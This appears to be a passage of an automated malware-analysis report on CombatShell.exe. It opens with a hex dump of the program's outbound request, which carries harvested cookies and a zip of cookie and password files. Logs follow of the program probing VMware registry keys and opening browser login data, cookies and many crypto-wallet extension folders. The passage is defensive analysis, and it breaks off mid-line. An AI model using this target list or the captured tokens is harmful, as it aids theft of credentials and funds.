33:38:30:31:32:38:34:38:39:35:33:31:09:70:64:69:75:6c:74:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:74:66:69:6c:33:2e:0a:31:09:6e:6f:69:74:61:63:65:72:70:65:64:2d:65:69:6b:6f:6f:63:2d:65:76:69:65:63:65:72:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:73:78:6e:64:61:2e:0a:2e:6f:59:51:4a:68:52:76:49:77:45:31:68:73:73:62:4c:42:42:7a:43:30:35:2d:4d:57:31:74:7a:6f:47:47:6b:70:42:76:65:2d:41:36:48:41:56:42:7a:79:64:70:42:39:76:63:6e:32:74:65:48:63:54:67:42:39:49:5f:2d:59:58:6b:64:6d:78:4a:4d:78:6c:48:09:44:49:4e:41:50:5f:52:44:4e:41:58:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:73:78:6e:64:61:2e:0a:34:35:33:31:35:32:36:35:39:35:30:39:39:36:37:31:37:32:35:09:32:64:69:75:75:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:73:78:6e:64:61:2e:0a:31:34:09:70:68:64:2d:6d:75:69:6d:6f:72:68:43:65:67:64:65:2d:74:6c:67:70:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:73:6d:2e:0a:30:09:74:75:6f:74:70:6f:61:73:6d:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:73:6d:2e:70:74:6e:0a:6f:6e:09:6e:69:5f:64:65:67:67:6f:6c:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:62:75:68:74:69:67:2e:0a:22:57:43:7a:53:67:42:41:38:4c:75:76:6f:62:70:63:6b:44:34:73:65:4e:79:44:37:42:67:72:47:48:48:51:41:3d:67:69:73:3a:32:3d:76:3a:31:36:36:36:36:31:31:32:37:31:3d:74:3a:31:36:32:30:38:30:31:32:37:31:3d:69:3a:31:3d:78:3a:31:3d:75:3a:09:63:64:69:6c:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:69:64:65:6b:6e:69:6c:2e:0a:5b:56:60:39:37:71:54:72:52:39:6c:66:6b:52:39:5e:2a:71:6b:56:4b:6e:2d:53:6c:6b:5b:69:62:36:32:60:3c:65:2a:6d:78:73:3d:62:59:69:50:62:2b:2a:66:65:24:36:4b:64:79:2d:42:4c:44:66:25:56:77:57:67:78:61:68:64:48:44:49:70:38:35:6f:52:24:74:5f:49:30:29:77:4b:09:6a:6e:61:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:73:78:6e:64:61:2e:0a:33:36:32:30:38:30:31:32:37:31:2e:33:38:38:33:34:31:36:39:32:2e:31:2e:31:48:47:09:6f:74:63:6f:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:62:75:68:74:69:67:2e:0a:67:52:6e:49:4b:36:70:6a:43:4f:73:55:79:38:6d:75:45:68:62:46:4f:39:52:6b:6e:64:4d:63:4b:31:57:76:4a:6f:32:58:76:55:31:38:6c:45:6c:4b:70:51:6c:31:44:37:76:70:6f:4e:33:70:2e:5f:58:74:45:7a:6f:61:58:31:6e:42:39:47:5f:49:4c:44:61:32:54:47:63:44:38:58:43:61:64:6c:2d:31:2e:31:2e:30:2e:31:2d:31:36:32:30:38:30:31:32:37:31:2d:49:51:4b:70:44:76:6e:73:67:70:71:09:6d:62:5f:66:63:5f:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:64:69:67:6d:2e:0a:30:09:52:4d:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:67:6e:69:62:2e:63:2e:0a:31:09:44:49:55:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:68:63:72:61:65:73:65:72:64:72:61:63:65:72:6f:63:73:2e:0a:33:33:34:38:39:35:35:31:35:37:30:37:31:3d:55:4c:26:34:3d:56:26:32:30:34:32:30:32:3d:56:4c:26:30:38:37:63:3d:48:53:41:48:26:38:34:38:34:34:09:43:50:46:53:4d:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:73:6d:2e:70:74:6e:0a:41:75:32:6c:63:46:77:61:4b:57:36:09:43:54:50:53:4d:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:67:6e:69:62:2e:0a:22:33:61:31:36:62:62:66:37:65:09:65:69:6b:6f:6f:63:62:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:69:64:65:6b:6e:69:6c:2e:0a:39:35:33:31:43:37:25:30:43:37:25:34:6a:66:43:37:25:32:43:37:25:78:61:6d:74:7a:31:31:09:6b:63:6c:63:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:74:66:6f:73:6f:72:63:69:6d:2e:0a:31:64:38:35:09:64:49:65:63:69:76:65:44:79:72:74:65:6d:65:6c:65:54:73:6e:6f:69:74:61:63:69:6c:70:70:41:74:66:6f:73:6f:72:63:69:4d:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:74:66:6f:73:6f:72:63:69:6d:2e:77:77:77:0a:38:30:32:30:35:32:30:32:2e:31:32:39:30:33:32:30:32:2e:09:44:49:4c:43:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:73:6d:2e:79:74:69:72:61:6c:63:2e:77:77:77:0a:31:09:6e:6f:69:74:61:63:65:72:70:65:64:2d:65:69:6b:6f:6f:63:2d:65:76:69:65:63:65:72:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:74:65:6e:2e:6b:63:69:6c:63:65:6c:62:75:6f:64:2e:0a:36:30:31:63:09:73:64:61:5f:63:75:6d:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6f:63:2e:74:2e:0a:49:66:48:67:36:75:45:6b:4e:4a:51:4a:79:51:44:62:54:76:2d:54:6e:32:7a:58:65:6e:31:09:70:74:74:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:31:09:65:69:6b:6f:6f:63:5f:65:6c:62:61:6e:65:5f:74:74:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:3d:3d:41:41:41:41:67:4d:63:30:38:33:38:36:7a:73:52:49:46:4d:73:47:45:6e:56:6a:58:6e:6d:76:61:38:74:35:6b:79:6e:42:58:74:78:6a:59:58:35:64:6b:48:62:66:63:42:36:44:79:35:41:79:49:09:74:61:5f:63:73:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:74:61:68:63:70:61:6e:73:2e:0a:33:63:34:66:09:72:5f:64:69:63:73:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:33:63:34:66:09:64:69:63:73:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:73:39:74:6b:76:6d:7a:72:79:77:52:35:4a:71:70:48:4e:77:42:55:42:45:56:64:33:63:32:09:70:74:74:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6b:6f:74:6b:69:74:2e:0a:35:30:38:32:37:2d:38:30:34:37:31:32:34:34:33:37:30:37:31:2d:6d:6f:63:09:6b:72:74:5f:6f:74:6b:6d:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:7d:32:32:25:37:31:30:36:34:33:37:30:37:31:43:09:64:75:6f:6c:63:64:61:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:36:36:30:39:61:30:36:34:62:35:32:36:30:31:39:32:64:30:61:33:37:64:35:61:36:61:33:30:64:66:34:66:39:31:35:38:38:35:32:36:66:66:36:62:64:36:30:66:64:65:33:61:31:61:30:66:39:38:31:39:36:31:39:30:7c:66:33:38:62:64:32:38:37:36:61:34:36:33:61:64:32:37:32:66:38:65:33:64:62:66:39:38:65:33:30:37:31:31:38:62:09:74:70:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:76:74:2e:74:6f:70:73:69:2e:0a:6e:69:44:33:25:6c:61:72:65:6e:65:67:09:74:6e:65:73:6e:6f:63:5f:67:72:4f:65:62:6f:64:41:5f:35:34:44:30:39:34:41:30:41:43:31:36:44:45:31:35:35:41:35:30:30:31:45:39:5f:72:74:63:64:6e:6b:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:31:41:33:25:34:30:30:30:43:43:32:25:31:41:33:25:33:30:30:30:09:74:6e:65:73:6e:6f:43:6e:6f:6e:61:74:70:4f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:5a:31:32:31:2e:33:35:3a:36:31:3a:32:32:54:37:30:2d:32:30:2d:34:32:30:32:09:64:65:73:6f:6c:43:78:6f:42:74:72:65:6c:41:6e:6f:6e:61:74:70:4f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:36:37:31:32:36:33:39:38:39:39:36:36:09:67:72:4f:65:62:6f:64:41:30:34:25:35:34:44:30:39:34:41:30:41:43:31:36:44:45:31:35:35:41:35:30:30:31:45:39:5f:56:43:4d:41:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:44:33:25:45:44:32:74:53:35:79:6f:48:41:38:41:41:6a:4d:53:39:30:41:71:45:41:47:42:41:52:4d:59:33:4b:6c:4c:6a:4f:43:53:49:6c:4e:33:45:6a:4d:32:4d:54:4f:34:6b:54:4f:32:59:7a:4e:30:49:54:4e:09:79:74:69:74:6e:65:64:69:5f:67:72:4f:65:62:6f:64:41:5f:35:34:44:30:39:34:41:30:41:43:31:36:44:45:31:35:35:41:35:30:30:31:45:39:5f:72:74:63:64:6e:6b:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:39:36:30:36:34:33:37:30:37:31:33:32:25:55:74:6d:4c:6b:4a:44:32:25:36:37:31:32:36:33:39:38:39:39:36:36:37:34:32:35:09:78:6f:62:6d:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:77:65:4e:2d:33:30:37:39:30:32:34:34:33:37:30:37:31:09:72:6e:5f:73:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:30:30:3d:44:49:53:09:53:53:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:73:6d:2e:0a:35:34:38:38:30:33:35:39:36:31:09:73:74:64:69:64:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6f:69:70:70:69:70:2e:0a:45:6d:55:6d:77:34:5f:7a:72:41:73:73:6b:2d:2d:43:09:64:69:64:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6f:69:70:70:69:70:2e:0a:39:37:38:30:34:38:38:30:33:35:39:36:31:3d:55:4c:26:34:3d:56:26:39:30:33:32:30:32:3d:56:4c:26:35:37:32:37:3d:48:53:41:48:26:33:33:32:36:32:09:43:50:46:53:4d:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:74:66:6f:73:6f:72:63:69:6d:2e:77:77:77:0a:39:37:38:30:34:38:38:30:33:35:39:36:31:3d:55:4c:26:34:3d:56:26:39:30:33:32:30:32:3d:56:4c:26:35:37:32:37:3d:48:53:41:48:26:33:33:32:36:32:09:31:43:4d:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:74:66:6f:73:6f:72:63:69:6d:2e:0a:22:45:36:46:34:2d:62:5a:54:70:37:39:49:4f:30:6b:76:57:33:6c:66:64:72:6d:4e:2d:75:46:7a:32:47:51:41:34:65:30:30:39:33:32:36:63:62:63:37:2d:66:65:61:38:2d:35:38:32:34:2d:09:65:69:6b:6f:6f:63:73:62:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:69:64:65:6b:6e:69:6c:2e:77:77:77:2e:0a:5a:31:31:3a:37:30:3a:35:31:54:31:32:2d:39:30:2d:33:32:30:32:3d:43:66:65:52:2e:44:33:33:31:36:38:38:33:37:46:45:34:45:30:46:42:32:35:32:34:37:46:30:46:42:34:43:44:35:42:33:09:74:65:6b:72:61:6d:74:70:73:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:73:6d:2e:70:74:6e:74:78:74:2e:73:65:69:6b:6f:6f:63:2f:74:6c:75:61:66:65:44:65:67:64:45:2f:72:65:73:77:6f:72:62:00:00:00:1f:00:00:0e:14:00:00:0e:14:fa:88:33:f6:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50:74:78:74:2e:73:64:72:6f:77:73:73:61:70:2f:74:6c:75:61:66:65:44:65:67:64:45:2f:72:65:73:77:6f:72:62:00:00:00:21:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50:74:78:74:2e:73:64:72:61:63:74:69:64:65:72:63:2f:74:6c:75:61:66:65:44:65:6d:6f:72:68:43:2f:72:65:73:77:6f:72:62:00:00:00:25:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50:74:78:74:2e:61:74:61:64:2d:62:65:77:2f:74:6c:75:61:66:65:44:65:6d:6f:72:68:43:2f:72:65:73:77:6f:72:62:00:00:00:22:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50:74:78:74:2e:73:65:69:6b:6f:6f:63:2f:74:6c:75:61:66:65:44:65:6d:6f:72:68:43:2f:72:65:73:77:6f:72:62:00:00:00:21:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50:74:78:74:2e:73:64:72:6f:77:73:73:61:70:2f:74:6c:75:61:66:65:44:65:6d:6f:72:68:43:2f:72:65:73:77:6f:72:62:00:00:00:23:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50:0a:31:09:31:2d:31:32:33:36:31:31:36:33:2d:41:55:5f:74:61:67:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:67:72:6f:2e:61:6c:6c:69:7a:6f:6d:2e:0a:31:35:39:36:32:31:36:30:37:31:2e:35:39:32:38:35:38:37:36:35:2e:32:2e:31:41:47:09:64:69:67:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:67:72:6f:2e:61:6c:6c:69:7a:6f:6d:2e:0a:31:35:39:36:32:31:36:30:37:31:2e:38:33:35:34:37:35:37:37:31:2e:32:2e:31:41:47:09:61:67:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:67:72:6f:2e:61:6c:6c:69:7a:6f:6d:2e:0a:30:2e:30:2e:30:2e:30:35:39:36:32:31:36:30:37:31:2e:31:2e:31:2e:30:35:39:36:32:31:36:30:37:31:2e:31:2e:31:53:47:09:57:51:51:51:37:36:37:37:51:4d:5f:61:67:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:67:72:6f:2e:61:6c:6c:69:7a:6f:6d:2e:74:78:74:2e:73:65:69:6b:6f:6f:63:2f:78:6f:66:65:72:69:46:2f:72:65:73:77:6f:72:62:00:00:00:1b:00:00:01:1d:00:00:01:1d:73:18:61:37:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50" HTTP/1.1 200 OK4f:T8ad,"CombatShell.exe" (Path: "HKCU\SOFTWARE\VMWARE, INC.\GUESTGLDRIVER\APPLICATION SETTINGS\") "CombatShell.exe" (Path: "HKCU\SOFTWARE\VMWARE, INC.\GUESTGLDRIVER\APPLICATION SETTINGS\SLDWORKS") "CombatShell.exe" (Path: "HKCU\SOFTWARE\VMWARE, INC.") "CombatShell.exe" (Path: "HKCU\SOFTWARE\VMWARE, INC.\GUESTGLDRIVER") "CombatShell.exe" (Path: "HKCU\SOFTWARE\VMWARE, INC.\GUESTGLDRIVER\APPLICATION SETTINGS") "CombatShell.exe" (Path: "HKCU\SOFTWARE\VMWARE, INC.\GUESTGLDRIVER\APPLICATION SETTINGS\HEAVEN") "CombatShell.exe" (Path: "HKCU\SOFTWARE\VMWARE, INC.\GUESTGLDRIVER\APPLICATION SETTINGS\HEAVEN64") "CombatShell.exe" (Path: "HKCU\SOFTWARE\VMWARE, INC.\GUESTGLDRIVER\APPLICATION SETTINGS\UNIGINE") "CombatShell.exe" (Path: "HKCU\SOFTWARE\VMWARE, INC.\GUESTGLDRIVER\APPLICATION SETTINGS\VALLEY") "CombatShell.exe" (Path: "HKCU\SOFTWARE\VMWARE, INC.\GUESTGLDRIVER\APPLICATION SETTINGS\JK2SP") "CombatShell.exe" (Path: "HKCU\SOFTWARE\VMWARE, INC.\GUESTGLDRIVER\APPLICATION SETTINGS\CODSP") "CombatShell.exe" (Path: "HKCU\SOFTWARE\VMWARE, INC.\GUESTGLDRIVER\APPLICATION SETTINGS\CODSP_NOCD") "CombatShell.exe" (Path: "HKCU\SOFTWARE\VMWARE, INC.\GUESTGLDRIVER\APPLICATION SETTINGS\VIEWPERF") "CombatShell.exe" (Path: "HKCU\SOFTWARE\VMWARE, INC.\GUESTGLDRIVER\APPLICATION SETTINGS\GPUTEST") "CombatShell.exe" (Path: "HKCU\SOFTWARE\VMWARE, INC.\GUESTGLDRIVER\APPLICATION SETTINGS\GPUTESTGUI") "CombatShell.exe" (Path: "HKCU\SOFTWARE\VMWARE, INC.\GUESTGLDRIVER\APPLICATION SETTINGS\NOBELCLINICIANVIEWER") "CombatShell.exe" (Path: "HKCU\SOFTWARE\VMWARE, INC.\GUESTGLDRIVER\APPLICATION SETTINGS\PHOTOSHOP") "CombatShell.exe" (Path: "HKCU\SOFTWARE\VMWARE, INC.\GUESTGLDRIVER\APPLICATION SETTINGS\RECAP") "CombatShell.exe" (Path: "HKCU\SOFTWARE\VMWARE, INC.\GUESTGLDRIVER\APPLICATION SETTINGS\SHADERTOYMARK") "CombatShell.exe" (Path: "HKCU\SOFTWARE\VMWARE, INC.\GUESTGLDRIVER\APPLICATION SETTINGS\SWKOTOR") "CombatShell.exe" (Path: "HKCU\SOFTWARE\VMWARE, INC.\GUESTGLDRIVER\APPLICATION SETTINGS\SPAZIO3D") "CombatShell.exe" (Path: "HKCU\SOFTWARE\VMWARE, INC.\GUESTGLDRIVER\APPLICATION SETTINGS\GLOBAL_MAPPER") "CombatShell.exe" (Path: "HKCU\SOFTWARE\VMWARE, INC.\GUESTGLDRIVER\APPLICATION SETTINGS\COMBATSHELL")50:T1574,"CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\5xz6ua91.default-release\cookies.sqlite" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\lfdjd4n4.default\cookies.sqlite" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\AutofillStates\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\CertificateRevocation\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\chrome_shutdown_ms.txt" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\ClientSidePhishing\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Crashpad\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Crowd Deny\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\FileTypePolicies\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\First Run" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\FirstPartySetsPreloaded\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\first_party_sets.db" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\first_party_sets.db-journal" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\GraphiteDawnCache\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\GrShaderCache\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\hyphen-data\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Last Browser" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Last Version" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Local State" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\MediaFoundationWidevineCdm\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\MEIPreload\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Module Info Cache" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\OnDeviceHeadSuggestModel\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\OptimizationHints\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\OriginTrials\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PKIMetadata\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\pnacl\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PnaclTranslationCache\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PrivacySandboxAttestationsPreloaded\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\RecoveryImproved\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Safe Browsing\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\SafetyTips\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\segmentation_platform\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\ShaderCache\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\SSLErrorAssistant\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Subresource Filter\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\ThirdPartyModuleList64\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\TpcdMetadata\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\TrustTokenKeyCommitments\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Variations" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\WidevineCdm\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\ZxcvbnData\Login Data" "CombatShell.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies"51:T1c5d,CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph related to Trust Wallet CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn related to MetaMask CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad related to Coinbase Wallet CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp related to Binance Chain Wallet CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa related to Phantom CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec related to TronLink CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec related to Ronin Wallet CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Local Extension Settings\aeachknmefphepccionboohckonoeemg related to Coin98 Wallet) CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai related to Authenticator CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Sync Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc related to Math Wallet CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb related to Yoroi CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln related to Guarda CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne related to Jaxx Liberty CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih related to Wombat CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp related to Terra Station CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap related to Keplr CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge related to OKX Wallet CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno related to Sollet CombatShell.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil related to Sui Wallet CombatShell.exe trying to open a file 